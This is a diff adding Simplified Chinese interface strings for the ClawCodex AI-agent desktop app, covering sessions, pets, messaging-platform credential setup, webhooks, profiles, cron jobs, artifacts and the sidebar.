+    back: '返回',
+    searchPlaceholder: '搜索会话、视图与操作',
+    goTo: '前往',
+    goToSession: '前往会话',
+    branches: '分支',
+    projects: '项目',
+    openFolder: '打开文件夹为项目…',
+    openFolderAt: path => `打开文件夹为项目 — ${path}`,
+    newSessionInProject: project => `在 ${project} 中新建会话`,
+    commands: '命令',
+    startInBranch: branch => `在 ${branch} 中开始新对话`,
+    commandCenter: '命令中心',
+    appearance: '外观',
+    settings: '设置',
+    changeTheme: '更改主题',
+    changeColorMode: '更改颜色模式…',
+    pets: {
+      title: '宠物',
+      placeholder: '搜索宠物…',
+      loading: '正在加载 petdex 画廊…',
+      error: '无法连接到 petdex 画廊。',
+      staleBackend: '请重启 ClawCodex 以使用宠物功能——当前后端版本过旧。',
+      empty: '没有匹配的宠物。',
+      turnOff: '关闭',
+      turnOn: '开启',
+      installed: '已安装',
+      generatedTag: '生成',
+      adoptFailed: '无法领养该宠物。',
+      toggleFailed: enabled => `无法${enabled ? '开启' : '关闭'}宠物显示。`,
+      noneAvailable: '暂无可用宠物——请在下方选择一个安装。'
+    },
+    generatePet: {
+      title: '生成宠物',
+      placeholder: '描述要生成的宠物……',
+      promptHint: '输入描述，然后按 Enter 生成四种造型。',
+      readyHint: '按 Enter 根据描述生成四种造型。',
+      generate: '生成',
+      generating: '生成中……',
+      retry: '重试',
+      hatch: '孵化',
+      spawning: '召唤中……',
+      hatching: '正在孵化你的宠物……',
+      hatchingSub: '正在注入生命……',
+      hatched: '孵化成功！',
+      hatchRow: (_state, done, total) => `正在绘制画面…… ${done}/${total}`,
+      hatchComposing: '正在拼合……',
+      hatchSaving: '马上就好……',
+      namePlaceholder: '给宠物起个名字',
+      staleBackend: '请更新 ClawCodex 以生成宠物。',
+      backgroundHint: '你可以关闭此窗口——完成后 ClawCodex 会通知你。',
+      slowProviderHint: '这可能需要几分钟',
+      remix: '混合生成',
+      remixConfirmTitle: '以此造型混合生成？',
+      remixConfirmBody: '将以此造型为起点生成一组新草图，可能需要几分钟。',
+      genericError: '生成失败——请重试或选择一个建议。',
+      referenceImageTooLarge: '参考图过大。请使用小于 16 MB 的图片。',
+      referenceImageInvalid: '无法读取该参考图。请尝试 PNG、JPG、WebP 或 GIF。',
+      adopt: '领养',
+      startOver: '重新开始'
+    },
+    installTheme: {
+      title: '安装主题…',
+      pageTitle: '安装主题',
+      placeholder: '搜索 VS Code Marketplace...',
+      loading: '正在搜索 Marketplace...',
+      error: '无法连接到 Marketplace。',
+      empty: '没有匹配的主题。',
+      install: '安装',
+      installing: '安装中...',
+      installed: '已安装',
+      installs: count => `${count} 次安装`
+    },
+    settingsFields: '设置字段',
+    mcpServers: 'MCP 服务器',
+    archivedChats: '已归档对话',
+    sections: { maintenance: '维护', sessions: '会话', system: '系统', usage: '用量' },
+    sectionDescriptions: {
+      maintenance: '诊断、备份、维护器与记忆数据',
+      sessions: '搜索与管理会话',
+      system: '状态、日志与系统操作',
+      usage: '一段时间内的词元、成本与技能活动'
+    },
+    nav: {
+      newChat: { title: '新建会话', detail: '开始一个新会话' },
+      settings: { title: '设置', detail: '配置 ClawCodex 桌面端' },
+      skills: { title: '技能与工具', detail: '启用技能、工具集与提供方' },
+      messaging: { title: '消息平台', detail: '配置 Telegram、Slack、Discord 等' },
+      artifacts: { title: '产物', detail: '浏览生成的输出' }
+    },
+    sectionEntries: {
+      sessions: { title: '会话面板', detail: '搜索、置顶与管理会话' },
+      system: { title: '系统面板', detail: '网关状态、日志、重启/更新' },
+      usage: { title: '用量面板', detail: '词元、成本与技能活动' }
+    },
+    providerNavigate: '导航',
+    providerSessions: '会话',
+    refresh: '刷新',
+    refreshing: '刷新中…',
+    noResults: '未找到匹配结果。',
+    pinSession: '置顶会话',
+    unpinSession: '取消置顶',
+    exportSession: '导出会话',
+    deleteSession: '删除会话',
+    noSessions: '暂无会话。',
+    gatewayRunning: '消息网关运行中',
+    gatewayStopped: '消息网关已停止',
+    clawcodexActiveSessions: (version, count) => `ClawCodex ${version} · 活跃会话 ${count}`,
+    restartGateway: '重启网关',
+    gatewayRestartFailed: '网关重启失败。',
+    updateClawCodex: '更新 ClawCodex',
+    actionRunning: '运行中',
+    actionDone: '完成',
+    actionFailed: '失败',
+    actionStartedWaiting: '操作已启动，等待状态…',
+    loadingStatus: '正在加载状态…',
+    recentLogs: '最近日志',
+    noLogs: '尚未加载日志。',
+    days: count => `${count} 天`,
+    statSessions: '会话',
+    statApiCalls: 'API 调用',
+    statTokens: '输入/输出词元',
+    statCost: '预估成本',
+    actualCost: cost => `实际 ${cost}`,
+    loadingUsage: '正在加载用量…',
+    noUsage: period => `最近 ${period} 天暂无用量。`,
+    retry: '重试',
+    dailyTokens: '每日词元',
+    input: '输入',
+    output: '输出',
+    noDailyActivity: '暂无每日活动。',
+    topModels: '常用模型',
+    noModelUsage: '暂无模型用量。',
+    topSkills: '常用技能',
+    noSkillActivity: '暂无技能活动。',
+    actions: count => `${count} 次操作`,
+    logFile: '日志文件',
+    logLevel: '级别',
+    logSearchPlaceholder: '筛选日志行…',
+    maintenance: {
+      runOps: '诊断',
+      doctor: '运行体检',
+      doctorDesc: '检查安装、配置与提供方的健康状态',
+      securityAudit: '安全审计',
+      securityAuditDesc: '扫描配置与技能中的风险设置',
+      backup: '创建备份',
+      backupDesc: '打包配置、记忆、技能与会话',
+      debugShare: '调试分享',
+      debugShareDesc: '上传脱敏报告与日志，获取可分享链接（6 小时后自动删除）',
+      debugShareRunning: '正在上传调试报告…',
+      debugShareLinks: '分享链接',
+      debugShareFailed: '调试分享失败',
+      copyLink: '复制链接',
+      linkCopied: '链接已复制',
+      curator: '技能维护器',
+      curatorDesc: '后台审查并归档过期的智能体自建技能',
+      curatorPaused: '已暂停',
+      curatorActive: '运行中',
+      curatorDisabled: '已禁用',
+      curatorLastRun: when => `上次运行 ${when}`,
+      curatorNeverRan: '从未运行',
+      pause: '暂停',
+      resume: '恢复',
+      runNow: '立即运行',
+      memoryData: '记忆数据',
+      memoryDataDesc: '注入每个会话的内置记忆文件',
+      memoryProvider: name => `当前提供方：${name}`,
+      builtinMemory: '内置',
+      memoryFile: '智能体记忆（MEMORY.md）',
+      userFile: '用户画像（USER.md）',
+      bytes: size => size,
+      empty: '空',
+      resetMemory: '重置记忆',
+      resetUser: '重置画像',
+      resetAll: '全部重置',
+      resetConfirm: target => `删除 ${target}？此操作不可撤销。`,
+      resetDone: files => `已删除 ${files}。`,
+      resetFailed: '记忆重置失败',
+      actionStarted: name => `${name} 已启动 — 正在跟踪日志…`,
+      actionFailed: name => `${name} 启动失败`,
+      running: '运行中…',
+      viewLog: '操作日志'
+    }
+  },
+
+  messaging: {
+    search: '搜索消息平台…',
+    loading: '正在加载消息平台…',
+    loadFailed: '消息平台加载失败',
+    states: {
+      connected: '已连接',
+      connecting: '连接中',
+      disabled: '已禁用',
+      fatal: '错误',
+      gateway_stopped: '消息网关已停止',
+      not_configured: '需要设置',
+      pending_restart: '需要重启',
+      retrying: '重试中',
+      startup_failed: '启动失败'
+    },
+    unknown: '未知',
+    hintPendingRestart: '在状态栏重启网关以应用此更改。',
+    hintGatewayStopped: '在状态栏启动网关以建立连接。',
+    credentialsSet: '凭据已设置',
+    needsSetup: '需要设置',
+    gatewayStopped: '消息网关已停止',
+    getCredentials: '获取你的凭据',
+    openSetupGuide: '打开设置指南',
+    required: '必填',
+    recommended: '推荐',
+    advanced: count => `高级 (${count})`,
+    noTokenNeeded: '此平台无需在此填写令牌。请按上方设置指南操作，然后在下方启用。',
+    enabled: '已启用',
+    disabled: '已禁用',
+    unsavedChanges: '有未保存的更改',
+    saving: '保存中…',
+    saveChanges: '保存更改',
+    saved: '已保存',
+    replaceValue: '替换当前值',
+    openDocs: '打开文档',
+    clearField: key => `清除 ${key}`,
+    enableAria: name => `启用 ${name}`,
+    disableAria: name => `禁用 ${name}`,
+    platformEnabled: name => `${name} 已启用`,
+    platformDisabled: name => `${name} 已禁用`,
+    restartToApply: '此更改将在网关重启后生效。',
+    setupSaved: name => `${name} 设置已保存`,
+    restartToReconnect: '新凭据将在网关重启后生效。',
+    keyCleared: key => `${key} 已清除`,
+    setupUpdated: name => `${name} 设置已更新。`,
+    failedUpdate: name => `更新 ${name} 失败`,
+    failedSave: name => `保存 ${name} 失败`,
+    failedClear: key => `清除 ${key} 失败`,
+    pendingRequests: count => `待处理请求（${count}）`,
+    pendingAria: count => `${count} 条待处理配对请求`,
+    approvedUsers: count => `已批准用户（${count}）`,
+    approve: '批准',
+    approving: '批准中…',
+    revoke: '撤销',
+    revoking: '撤销中…',
+    revokeAria: name => `撤销 ${name}`,
+    revokeTitle: '撤销访问权限',
+    revokeDesc: name => `${name} 将失去访问权限，下次发送消息时不再被识别。`,
+    approvedUser: name => `已批准 ${name}`,
+    approvedHint: '对方下次发送消息时会被自动识别。',
+    revokedUser: name => `已撤销 ${name}`,
+    failedApprove: name => `批准 ${name} 失败`,
+    failedRevoke: name => `撤销 ${name} 失败`,
+    pairingLockedOut: '批准失败次数过多，该平台已被暂时锁定，请稍后再试。',
+    waitingSince: minutes => (minutes < 1 ? '刚刚' : `${minutes} 分钟前`),
+    fieldCopy: {
+      TELEGRAM_BOT_TOKEN: {
+        label: 'Bot 令牌',
+        help: '用 @BotFather 创建一个机器人，然后粘贴它给你的令牌。',
+        placeholder: '粘贴 Telegram bot 令牌'
+      },
+      TELEGRAM_ALLOWED_USERS: {
+        label: '允许的 Telegram 用户 ID',
+        help: '推荐。来自 @userinfobot 的逗号分隔数字 ID。不设置则任何人都能私信你的机器人。'
+      },
+      TELEGRAM_PROXY: { label: '代理 URL', help: '仅在 Telegram 被屏蔽的网络中需要。' },
+      DISCORD_BOT_TOKEN: { label: 'Bot 令牌', help: '在 Discord 开发者门户创建应用，添加机器人，然后粘贴其令牌。' },
+      DISCORD_ALLOWED_USERS: { label: '允许的 Discord 用户 ID', help: '推荐。逗号分隔的 Discord 用户 ID。' },
+      DISCORD_REPLY_TO_MODE: { label: '回复方式', help: 'first、all 或 off。' },
+      DISCORD_ALLOW_ALL_USERS: {
+        label: '允许所有 Discord 用户',
+        help: '仅用于开发。为 true 时，任何人都可以私信 bot，不需要允许列表。'
+      },
+      DISCORD_HOME_CHANNEL: { label: '主页频道 ID', help: 'bot 主动发送消息的频道（cron 输出、提醒等）。' },
+      DISCORD_HOME_CHANNEL_NAME: { label: '主页频道名称', help: '日志和状态输出中显示的主页频道名称。' },
+      BLUEBUBBLES_ALLOW_ALL_USERS: { label: '允许所有 iMessage 用户', help: '为 true 时跳过 BlueBubbles 允许列表。' },
+      MATTERMOST_ALLOW_ALL_USERS: { label: '允许所有 Mattermost 用户' },
+      MATTERMOST_HOME_CHANNEL: { label: '主页频道' },
+      QQ_ALLOW_ALL_USERS: { label: '允许所有 QQ 用户' },
+      QQBOT_HOME_CHANNEL: { label: 'QQ 主页频道', help: 'cron 投递的默认频道或群组。' },
+      QQBOT_HOME_CHANNEL_NAME: { label: 'QQ 主页频道名称' },
+      SLACK_BOT_TOKEN: {
+        label: 'Slack bot 令牌',
+        help: '安装 Slack 应用后，在 OAuth & Permissions 中找到 bot 令牌。',
+        placeholder: '粘贴 Slack bot 令牌'
+      },
+      SLACK_APP_TOKEN: {
+        label: 'Slack app 令牌',
+        help: 'Socket Mode 需要 app 级令牌。',
+        placeholder: '粘贴 Slack app 令牌'
+      },
+      SLACK_ALLOWED_USERS: { label: '允许的 Slack 用户 ID', help: '推荐。逗号分隔的 Slack 用户 ID。' },
+      MATTERMOST_URL: { label: '服务器 URL', placeholder: 'https://mattermost.example.com' },
+      MATTERMOST_TOKEN: { label: 'Bot 令牌' },
+      MATTERMOST_ALLOWED_USERS: { label: '允许的用户 ID', help: '推荐。逗号分隔的 Mattermost 用户 ID。' },
+      MATRIX_HOMESERVER: { label: 'Homeserver URL', placeholder: 'https://matrix.org' },
+      MATRIX_ACCESS_TOKEN: { label: '访问令牌' },
+      MATRIX_USER_ID: { label: 'Bot 用户 ID', placeholder: '@clawcodex:example.org' },
+      MATRIX_ALLOWED_USERS: { label: '允许的 Matrix 用户 ID', help: '推荐。@user:server 格式的逗号分隔用户 ID。' },
+      SIGNAL_HTTP_URL: {
+        label: 'Signal 桥接 URL',
+        placeholder: 'http://127.0.0.1:8080',
+        help: '运行中的 signal-cli REST 桥接的 URL。'
+      },
+      SIGNAL_ACCOUNT: { label: '电话号码', help: '在 signal-cli 桥接中注册的号码。' },
+      SIGNAL_ALLOWED_USERS: { label: '允许的 Signal 用户', help: '推荐。逗号分隔的 Signal 标识符。' },
+      WHATSAPP_ENABLED: { label: '启用 WhatsApp 桥接', help: '由下方开关自动设置。除非确知需要，否则请勿改动。' },
+      WHATSAPP_MODE: { label: '桥接模式' },
+      WHATSAPP_ALLOWED_USERS: { label: '允许的 WhatsApp 用户', help: '推荐。逗号分隔的电话号码或 WhatsApp ID。' }
+    },
+    platformIntro: {
+      telegram:
+        '在 Telegram 中，与 @BotFather 对话，运行 /newbot，复制它给你的令牌。然后从 @userinfobot 获取你的数字用户 ID。',
+      discord:
+        '打开 Discord 开发者门户，创建应用，添加 Bot，然后复制其令牌。用正确的权限范围把机器人邀请到你的服务器。',
+      slack: '创建 Slack 应用，启用 Socket Mode，安装到你的工作区，然后复制 bot 令牌和 app 级令牌。',
+      mattermost: '在你的 Mattermost 服务器上，创建机器人账户或个人访问令牌，然后在此粘贴服务器 URL 和令牌。',
+      matrix: '用机器人账户登录你的 homeserver，然后复制访问令牌、用户 ID 和 homeserver URL。',
+      signal: '在可访问的位置运行 signal-cli REST 桥接，然后把 ClawCodex 指向该 URL 和已注册的电话号码。',
+      whatsapp: '启动 ClawCodex 自带的 WhatsApp 桥接，首次运行时扫描二维码，然后启用该平台。',
+      bluebubbles:
+        '在装有 iMessage 的 Mac 上运行 BlueBubbles Server，暴露其 API，然后用服务器密码把 ClawCodex 指向该 URL。',
+      homeassistant: '在 Home Assistant 中打开你的个人资料并创建长期访问令牌。把它连同你的 HA URL 一起粘贴到这里。',
+      email: '使用专用邮箱。对于 Gmail/Workspace,创建应用专用密码并使用 imap.gmail.com / smtp.gmail.com。',
+      sms: '从 Twilio 控制台获取你的 Account SID 和 Auth Token，以及一个可发送短信的电话号码。',
+      dingtalk: '在开发者控制台创建钉钉应用，然后在此复制 Client ID(App key) 和 Client Secret。',
+      feishu: '创建飞书 / Lark 应用，配置机器人能力，复制 App ID、App secret 和事件加密密钥。',
+      wecom: '在企业微信中添加群机器人，复制其 webhook key 作为 WECOM_BOT_ID。仅可发送——双向请用企业微信 (应用) 选项。',
+      wecom_callback: '设置一个企业微信自建应用，暴露其回调 URL，并提供 corp ID、secret、agent ID 和 AES key。',
+      weixin:
+        '运行 `clawcodex gateway setup`，选择 Weixin，然后使用个人微信账号扫描并确认二维码。ClawCodex 会通过腾讯 iLink Bot API 连接并保存凭据。',
+      qqbot: '在 QQ 开放平台 (q.qq.com) 注册一个应用，复制 App ID 和 Client Secret。',
+      api_server:
+        '把 ClawCodex 暴露为兼容 OpenAI 的 API。设置一个鉴权密钥，然后把 Open WebUI / LobeChat 等指向 host:port。',
+      webhook: '运行一个 HTTP 服务器，供其他工具 (GitHub、GitLab、自定义应用)POST。用 secret 验证签名。'
+    }
+  },
+
+  webhooks: {
+    search: '搜索 Webhook…',
+    loading: '正在加载 Webhook…',
+    loadFailed: 'Webhook 加载失败',
+    subscriptions: (count: number) => `订阅（${count}）`,
+    hint: '接收器运行后，订阅更改会热重载。已禁用的订阅会拒绝传入事件。',
+    empty: '暂无 Webhook 订阅。',
+    disabledTitle: 'Webhook 接收器已禁用',
+    disabledBody:
+      'Webhook 是独立的网关平台。在此启用以接受传入的 HTTP 事件；仅当订阅投递到 Telegram、Discord、Slack 或其他渠道时才需要聊天渠道。',
+    enable: '启用 Webhook',
+    enabling: '正在启用…',
+    enabled: (name: string) => `已启用：“${name}”`,
+    disabled: (name: string) => `已禁用：“${name}”`,
+    enableRow: '启用',
+    disableRow: '禁用',
+    delete: '删除',
+    deleting: '删除中…',
+    deleted: 'Webhook 已删除',
+    deleteTitle: '删除 Webhook',
+    deleteDescPrefix: '这将永久移除 ',
+    deleteDescSuffix: '。此操作无法撤销。',
+    deleteFailed: (name: string) => `删除“${name}”失败`,
+    toggleFailed: (name, enabled) => `${enabled ? '开启' : '关闭'}“${name}”失败`,
+    newSubscription: '新建订阅',
+    restarting: '网关正在重启…',
+    restartNeeded: 'Webhook 已启用，但网关仍需重启后接收器才能上线。',
+    restartGateway: '重启网关',
+    restartingGateway: '正在重启…',
+    restartFailed: (detail: string) => `网关重启失败${detail}`,
+    enabledRestarting: 'Webhook 已启用；网关正在重启…',
+    all: '（全部）',
+    deliverOnly: '仅投递',
+    createdTitle: '订阅已创建',
+    createdSecretHint: '请立即复制密钥 —— 它只显示一次。',
+    webhookUrl: 'Webhook URL',
+    secretOnce: '密钥（仅显示一次）',
+    done: '完成',
+    fieldName: '名称',
+    fieldNamePlaceholder: '例如 github-push',
+    fieldDescription: '描述',
+    fieldDescriptionPlaceholder: '此 Webhook 的用途（可选）',
+    fieldEvents: '事件',
+    fieldEventsPlaceholder: '以逗号分隔，留空表示全部',
+    fieldSkills: '技能',
+    fieldSkillsPlaceholder: '以逗号分隔的技能名称（可选）',
+    fieldDeliver: '投递到',
+    fieldDeliverOnly: '仅投递载荷',
+    fieldPrompt: '提示词',
+    fieldPromptPlaceholder: '此 Webhook 触发时给智能体的说明（可选）',
+    nameRequired: '需要名称',
+    create: '创建',
+    creating: '正在创建…',
+    created: '已创建',
+    createFailed: (detail: string) => `创建失败：${detail}`,
+    copy: '复制',
+    deliverOptions: {
+      log: '日志',
+      telegram: 'Telegram',
+      discord: 'Discord',
+      slack: 'Slack',
+      email: '电子邮件',
+      github_comment: 'GitHub 评论'
+    }
+  },
+
+  profiles: {
+    close: '关闭配置档案',
+    nameHint: '小写字母、数字、连字符和下划线。必须以字母或数字开头。',
+    title: '配置档案',
+    count: count => `${count} 个配置档案`,
+    search: '搜索配置档案…',
+    loading: '正在加载配置档案…',
+    newProfile: '新建配置档案',
+    importProfile: '导入配置档案…',
+    exportProfile: '导出配置档案…',
+    imported: '配置档案已导入',
+    exported: '配置档案已导出',
+    failedImport: '导入配置档案失败',
+    failedExport: '导出配置档案失败',
+    allProfiles: '全部配置档案',
+    showAllProfiles: '显示全部配置档案',
+    switchToProfile: name => `切换到 ${name}`,
+    manageProfiles: '管理配置档案…',
+    actions: '操作',
+    color: '颜色…',
+    colorFor: '颜色',
+    setColor: color => `设置颜色 ${color}`,
+    autoColor: '自动',
+    noProfiles: '暂无配置档案。',
+    selectPrompt: '选择一个配置档案以查看其详情。',
+    refresh: '刷新配置档案',
+    refreshing: '正在刷新配置档案',
+    default: '默认',
+    skills: count => `${count} 个技能`,
+    env: 'env',
+    defaultBadge: '默认',
+    rename: '重命名',
+    renameMenu: '重命名…',
+    editSoul: '编辑 SOUL.md…',
+    copySetup: '复制安装命令',
+    copying: '复制中…',
+    modelLabel: '模型',
+    skillsLabel: '技能',
+    notSet: '未设置',
+    soulDesc: '内置于此配置档案的系统提示词与人格指令。',
+    soulOptional: '可选',
+    soulPlaceholder: mode => `此配置档案的系统提示词 / 人格说明。\n留空则保留${mode}默认值。`,
+    soulPlaceholderCloned: '克隆的',
+    soulPlaceholderEmpty: '空的',
+    unsavedChanges: '有未保存的更改',
+    loadingSoul: '正在加载 SOUL.md…',
+    emptySoul: '空的 SOUL.md —— 开始撰写人格设定…',
+    saving: '保存中…',
+    saveSoul: '保存 SOUL.md',
+    deleteTitle: '删除配置档案？',
+    deleteDescPrefix: '这将删除 ',
+    deleteDescMid: ' 并移除其 ',
+    deleteDescSuffix: ' 目录。此操作无法撤销。',
+    deleting: '删除中…',
+    createDesc: '配置档案是相互独立的 ClawCodex 环境：各自拥有独立的配置、技能和 SOUL.md。',
+    nameLabel: '名称',
+    cloneFrom: '克隆来源',
+    cloneFromNone: '无（空白）',
+    cloneFromDesc: '从选中的来源配置档案复制配置、技能和 SOUL.md。',
+    cloneFromDefault: '从默认档案克隆',
+    cloneFromDefaultDesc: '从你的默认配置档案复制配置、技能和 SOUL.md。',
+    invalidName: hint => `名称无效。${hint}`,
+    nameRequired: '名称为必填项。',
+    creating: '创建中…',
+    createAction: '创建配置档案',
+    renameTitle: '重命名配置档案',
+    renameDescPrefix: '重命名会更新配置档案目录以及 ',
+    renameDescSuffix: ' 中的所有包装脚本。',
+    newNameLabel: '新名称',
+    renaming: '重命名中…',
+    created: '配置档案已创建',
+    renamed: '配置档案已重命名',
+    deleted: '配置档案已删除',
+    setupCopied: '安装命令已复制',
+    soulSaved: 'SOUL.md 已保存',
+    failedLoad: '加载配置档案失败',
+    failedDelete: '删除配置档案失败',
+    failedCopy: '复制安装命令失败',
+    failedLoadSoul: '加载 SOUL.md 失败',
+    failedSaveSoul: '保存 SOUL.md 失败',
+    failedCreate: '创建配置档案失败',
+    failedRename: '重命名配置档案失败'
+  },
+
+  cron: {
+    close: '关闭定时任务',
+    title: '定时任务',
+    count: count => `${count} 个任务`,
+    search: '搜索定时任务…',
+    loading: '正在加载定时任务…',
+    states: {
+      enabled: '已启用',
+      scheduled: '已排程',
+      running: '运行中',
+      paused: '已暂停',
+      disabled: '已禁用',
+      error: '错误',
+      completed: '已完成'
+    },
+    deliveryLabels: {
+      local: '此桌面',
+      telegram: 'Telegram',
+      discord: 'Discord',
+      slack: 'Slack',
+      email: '电子邮件'
+    },
+    scheduleLabels: {
+      daily: '每天',
+      weekdays: '工作日',
+      weekly: '每周',
+      monthly: '每月',
+      hourly: '每小时',
+      'every-15-minutes': '每 15 分钟',
+      custom: '自定义'
+    },
+    scheduleHints: {
+      daily: '每天上午 9:00',
+      weekdays: '周一至周五上午 9:00',
+      weekly: '每周一上午 9:00',
+      monthly: '每月第一天上午 9:00',
+      hourly: '每个整点',
+      'every-15-minutes': '每 15 分钟',
+      custom: 'Cron 语法或自然语言'
+    },
+    days: {
+      '0': '周日',
+      '1': '周一',
+      '2': '周二',
+      '3': '周三',
+      '4': '周四',
+      '5': '周五',
+      '6': '周六',
+      '7': '周日'
+    },
+    dayFallback: value => `第 ${value} 天`,
+    everyDayAt: time => `每天 ${time}`,
+    weekdaysAt: time => `工作日 ${time}`,
+    everyDayOfWeekAt: (day, time) => `每${day} ${time}`,
+    monthlyOnDayAt: (dayOfMonth, time) => `每月 ${dayOfMonth} 日 ${time}`,
+    topOfHour: '每个整点',
+    everyHourAt: minute => `每小时的 :${minute}`,
+    newCron: '新建定时任务',
+    emptyDescNew: '按 cron 表达式排程一个提示词。ClawCodex 会运行它，并把结果发送到你选择的目的地。',
+    emptyDescSearch: '尝试更宽泛的搜索词。',
+    emptyTitleNew: '暂无排程任务',
+    emptyTitleSearch: '无匹配项',
+    last: '上次：',
+    next: '下次：',
+    noRuns: '尚无运行',
+    manage: '管理',
+    showRuns: '显示运行记录',
+    hideRuns: '隐藏运行记录',
+    runHistory: '运行记录',
+
+    actionsTitle: '定时任务操作',
+    resume: '恢复定时任务',
+    pause: '暂停定时任务',
+    resumeTitle: '恢复',
+    pauseTitle: '暂停',
+    triggerNow: '立即触发',
+    edit: '编辑定时任务',
+    deleteTitle: '删除定时任务？',
+    deleteDescPrefix: '这将永久移除 ',
+    deleteDescSuffix: '。它会立即停止触发。',
+    deleting: '删除中…',
+    resumed: '定时任务已恢复',
+    paused: '定时任务已暂停',
+    triggered: '定时任务已触发',
+    deleted: '定时任务已删除',
+    created: '定时任务已创建',
+    updated: '定时任务已更新',
+    failedLoad: '加载定时任务失败',
+    failedUpdate: '更新定时任务失败',
+    failedTrigger: '触发定时任务失败',
+    failedDelete: '删除定时任务失败',
+    failedSave: '保存定时任务失败',
+    editTitle: '编辑定时任务',
+    createTitle: '新建定时任务',
+    editDesc: '更新排程、提示词或投递目标。更改将在下次运行时生效。',
+    createDesc: '排程一个提示词以自动运行。使用 cron 语法或类似"每 15 分钟"的自然语言。',
+    nameLabel: '名称',
+    namePlaceholder: '晨间简报',
+    promptLabel: '提示词',
+    promptPlaceholder: '总结我未读的 Slack 话题，并把前 5 条邮件发给我…',
+    frequencyLabel: '频率',
+    deliverLabel: '投递至',
+    deliverNeedsHomeChannel: '请先设置主频道',
+    modelLabel: '模型',
+    modelDefault: '默认（全局模型）',
+    customScheduleLabel: '自定义排程',
+    customPlaceholder: '0 9 * * * 或 weekdays at 9am',
+    customHint: 'Cron 表达式，或类似"每小时""工作日上午 9 点"的短语。',
+    optional: '可选',
+    promptRequired: '提示词为必填项。',
+    promptScheduleRequired: '提示词和排程为必填项。',
+    scheduleRequired: '排程为必填项。',
+    scriptOnlyEditHint: '仅脚本任务（无 AI 提示词）。任务 ID：',
+    saveChanges: '保存更改',
+    createAction: '创建定时任务',
+    tabs: {
+      jobs: '任务',
+      blueprints: '蓝图'
+    },
+    blueprints: {
+      tab: '蓝图',
+      startFrom: '从此开始',
+      custom: '自定义',
+      subtitle: '现成的自动化',
+      dialogDesc: '填写详细信息并进行排程。',
+      scheduleIt: '安排任务',
+      scheduling: '安排中...',
+      scheduled: '蓝图已安排',
+      loading: '正在加载蓝图...',
+      failedLoad: '加载蓝图失败',
+      emptyTitle: '没有可用的蓝图',
+      emptyDesc: '此后端上没有可用的自动化蓝图。'
+    }
+  },
+
+  artifacts: {
+    search: '搜索产物…',
+    refresh: '刷新产物',
+    refreshing: '正在刷新产物',
+    indexing: '正在索引最近会话的产物',
+    tabAll: '全部',
+    tabImages: '图片',
+    tabFiles: '文件',
+    tabLinks: '链接',
+    noArtifactsTitle: '未找到产物',
+    noArtifactsDesc: '当会话生成图片和文件输出时，它们会显示在这里。',
+    failedLoad: '产物加载失败',
+    openFailed: '打开失败',
+    itemsImage: '张图片',
+    itemsLink: '个链接',
+    itemsFile: '个文件',
+    itemsGeneric: '项',
+    zero: '0',
+    rangeOf: (start, end, total) => `${start}-${end},共 ${total}`,
+    goToPage: (itemLabel, page) => `前往${itemLabel}第 ${page} 页`,
+    colTitleLink: '链接标题',
+    colTitleFile: '名称',
+    colTitleDefault: '标题 / 名称',
+    colLocationLink: 'URL',
+    colLocationFile: '路径',
+    colLocationDefault: '位置',
+    colSession: '会话',
+    kindImage: '图片',
+    kindFile: '文件',
+    kindLink: '链接',
+    chat: '对话',
+    copyUrl: '复制 URL',
+    copyPath: '复制路径'
+  },
+
+  artifactCard: {
+    kind: { code: '代码', html: '交互页面', svg: '图形' },
+    generating: lines => `生成中… ${lines} 行`,
+    versionBadge: count => `${count} 个版本`,
+    open: '打开'
+  },
+
+  artifactPreview: {
+    versionOf: (current, total) => `第 ${current}/${total} 版`,
+    olderVersion: '较旧版本',
+    newerVersion: '较新版本',
+    latest: '最新',
+    copyContent: '复制内容',
+    download: '下载',
+    openInBrowser: '在浏览器中打开',
+    openInBrowserFailed: '无法在浏览器中打开',
+    missingTitle: '产物不可用',
+    missingBody: '此产物已不在本地注册表中。'
+  },
+
+  sidebar: {
+    nav: {
+      'new-session': '新建会话',
+      skills: '技能与工具',
+      messaging: '消息平台',
+      artifacts: '产物'
+    },
+    searchAria: '搜索会话',
+    searchPlaceholder: '搜索会话…',
+    clearSearch: '清除搜索',
+    noMatch: query => `没有会话匹配"${query}"。`,
+    results: '结果',
+    pinned: '已置顶',
+    sessions: '会话',
+    cronJobs: '定时任务',
+    groupAriaGrouped: '以单一列表显示会话',
+    groupAriaUngrouped: '按工作区分组会话',
+    showProjects: '显示项目',
+    showSessions: '显示会话',
+    groupTitleGrouped: '取消分组',
+    groupTitleUngrouped: '按工作区分组',
+    allPinned: '这里的全部已置顶。取消置顶某个对话即可在最近中显示。',
+    shiftClickHint: 'Shift+ 单击对话以置顶 · 拖动以重新排序',
+    noWorkspace: '无工作区',
+    projectEmpty: '暂无会话',
+    noSessions: '暂无会话',
+    projects: {
+      sectionLabel: '项目',
+      home: '主页',
+      newButton: '新建项目',
+      createTitle: '新建项目',
+      createDesc: '为工作区命名并添加一个或多个文件夹。',
+      renameTitle: '重命名项目',
+      addFolderTitle: '添加文件夹',
+      namePlaceholder: '例如 Skunkworks',
+      foldersLabel: '文件夹',
+      ideaLabel: '想法',
+      ideaPlaceholder: '这个项目是关于什么的？（保存到 IDEA.md）',
+      ideaGenerate: '生成想法',
+      ideaGenerating: '生成中…',
+      ideaShuffle: '随机模板',
+      noFolders: '尚未添加文件夹。',
+      addFolder: '添加文件夹',
+      primaryBadge: '主',
+      removeFolder: '移除',
+      create: '创建',
+      menu: '操作',
+      menuRename: '重命名',
+      menuAppearance: '外观',
+      noColor: '无颜色',
+      menuAddFolder: '添加文件夹',
+      menuSetActive: '设为活动',
+      menuDelete: '删除',
+      moveToProject: '移动到项目',
+      movedTo: name => `已移动到 ${name}`,
+      moveFailed: '无法移动会话',
+      moveNoFolder: '该项目没有可移入的文件夹',
+      moveNoProjects: '没有其他项目',
+      reveal: '在文件夹中显示',
+      copyPath: '复制路径',
+      removeFromSidebar: '从侧边栏移除',
+      createFailed: '无法创建项目',
+      staleBackend: '请更新 ClawCodex 后端以创建项目——当前后端比桌面应用旧（设置 → 更新 → 后端）。',
+      deleteConfirm: '这会从 ClawCodex 中移除已保存的项目。文件、git 仓库和工作树保持不变。',
+      startWork: '新建工作树',
+      newWorktreeTitle: '新建工作树',
+      newWorktreeDesc: '为这个工作树命名分支。',
+      branchPlaceholder: '例如 my-feature',
+      branchOff: () => ({ after: ' 分支', before: '从 ' }),
+      baseBranchPlaceholder: '搜索分支…',
+      baseBranchNone: '未找到分支',
+      startWorkFailed: '无法创建工作树',
+      worktreeProjectLabel: '项目',
+      worktreeProjectPlaceholder: '搜索项目…',
+      worktreeProjectNone: '没有包含文件夹的项目',
